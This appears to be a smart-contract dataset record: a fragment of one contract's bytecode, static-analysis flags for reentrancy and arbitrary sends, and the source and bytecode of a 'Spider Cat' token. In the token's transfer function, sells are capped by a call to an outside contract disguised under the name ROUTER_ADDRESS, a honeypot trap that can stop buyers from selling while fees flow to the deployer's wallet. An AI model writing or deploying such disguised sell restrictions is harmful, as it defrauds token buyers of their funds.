600160a01b038216610cec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610d4e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6000546001600160a01b03848116911614801590610d7a57506000546001600160a01b03838116911614155b15610fdb57600f54600160b81b900460ff1615610e61576001600160a01b0383163014801590610db357506001600160a01b0382163014155b8015610dcd5750600e546001600160a01b03848116911614155b8015610de75750600e546001600160a01b03838116911614155b15610e6157600e546001600160a01b0316336001600160a01b03161480610e215750600f546001600160a01b0316336001600160a01b0316145b610e615760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610450565b601054811115610e7057600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb257506001600160a01b0382166000908152600a602052604090205460ff16155b610ebb57600080fd5b600f546001600160a01b038481169116148015610ee65750600e546001600160a01b03838116911614155b8015610f0b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f205750600f54600160b81b900460ff165b15610f6e576001600160a01b0382166000908152600b60205260409020544211610f4957600080fd5b610f5442603c611aec565b6001600160a01b0383166000908152600b60205260409020555b6000610f79306104ef565b600f54909150600160a81b900460ff16158015610fa45750600f546001600160a01b03858116911614155b8015610fb95750600f54600160b01b900460ff165b15610fd957610fc78161117b565b478015610fd757610fd747611072565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101d57506001600160a01b03831660009081526005602052604090205460ff165b15611026575060005b611032848484846113e1565b50505050565b6000818484111561105c5760405162461bcd60e51b815260040161045091906119f4565b5060006110698486611b43565b95945050505050565b600c546001600160a01b03166108fc61108c83600261139f565b6040518115909202916000818181858888f193505050501580156110b4573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cf83600261139f565b6040518115909202916000818181858888f19350505050158015610632573d6000803e3d6000fd5b600060065482111561115e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b600061116861140d565b9050611174838261139f565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122557600080fd5b505afa158015611239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125d91906117f1565b8160018151811061127e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a49130911684610b02565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112dd908590600090869030904290600401611a7c565b600060405180830381600087803b1580156112f757600080fd5b505af115801561130b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132f575060006103b7565b600061133b8385611b24565b9050826113488583611b04565b146111745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600061117483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611430565b806113ee576113ee61145e565b6113f9848484611481565b80611032576110326005600855600a600955565b600080600061141a611578565b9092509050611429828261139f565b9250505090565b600081836114515760405162461bcd60e51b815260040161045091906119f4565b5060006110698486611b04565b60085415801561146e5750600954155b1561147557565b60006008819055600955565b600080600080600080611493876115ba565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c59087611617565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f49086611659565b6001600160a01b038916600090815260026020526040902055611516816116b8565b6115208483611702565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611594828261139f565b8210156115b157505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d78a600854600954611726565b92509250925060006115e761140d565b905060008060006115fa8e878787611775565b919e509c509a509598509396509194505050505091939550919395565b600061117483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611038565b6000806116668385611aec565b9050838110156111745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b60006116c261140d565b905060006116d08383611320565b306000908152600260205260409020549091506116ed9082611659565b30600090815260026020526040902055505050565b60065461170f9083611617565b60065560075461171f9082611659565b6007555050565b600080808061173a6064610ac18989611320565b9050600061174d6064610ac18a89611320565b905060006117658261175f8b86611617565b90611617565b9992985090965090945050505050565b60008080806117848886611320565b905060006117928887611320565b905060006117a08888611320565b905060006117b28261175f8686611617565b939b939a50919850919650505050505050565b80356117d081611ba1565b919050565b6000602082840312156117e6578081fd5b813561117481611ba1565b600060208284031215611802578081fd5b815161117481611ba1565b6000806040838503121561181f578081fd5b823561182a81611ba1565b9150602083013561183a81611ba1565b809150509250929050565b600080600060608486031215611859578081fd5b833561186481611ba1565b9250602084013561187481611ba1565b929592945050506040919091013590565b60008060408385031215611897578182fd5b82356118a281611ba1565b946020939093013593505050565b600060208083850312156118c2578182fd5b823567ffffffffffffffff808211156118d9578384fd5b818501915085601f8301126118ec578384fd5b8135818111156118fe576118fe611b8b565b8060051b604051601f19603f8301168101818110858211171561192357611923611b8b565b604052828152858101935084860182860187018a1015611941578788fd5b8795505b8386101561196a57611956816117c5565b855260019590950194938601938601611945565b5098975050505050505050565b600060208284031215611988578081fd5b813561117481611bb6565b6000602082840312156119a4578081fd5b815161117481611bb6565b6000602082840312156119c0578081fd5b5035919050565b6000806000606084860312156119db578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2057858101830151858201604001528201611a04565b81811115611a315783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611acb5784516001600160a01b031683529383019391830191600101611aa6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611aff57611aff611b75565b500190565b600082611b1f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3e57611b3e611b75565b500290565b600082821015611b5557611b55611b75565b500390565b6000600019821415611b6e57611b6e611b75565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ec57600080fd5b80151581146104ec57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122087998a3c153901e00abb82b4514ee84f366cca2362032381aeae447bad1d80de64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
32
0x15861C321A98B06e747e165D66AFe7Da311D4544
/** *Submitted for verification at Etherscan.io on 2021-11-13 */ //SPDX-License-Identifier: MIT // Telegram: t.me/spidercatinu pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Spider Cat"; string constant TOKEN_SYMBOL="SC"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SpiderCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600a81526020017f5370696465722043617400000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f5343000000000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b6000815190506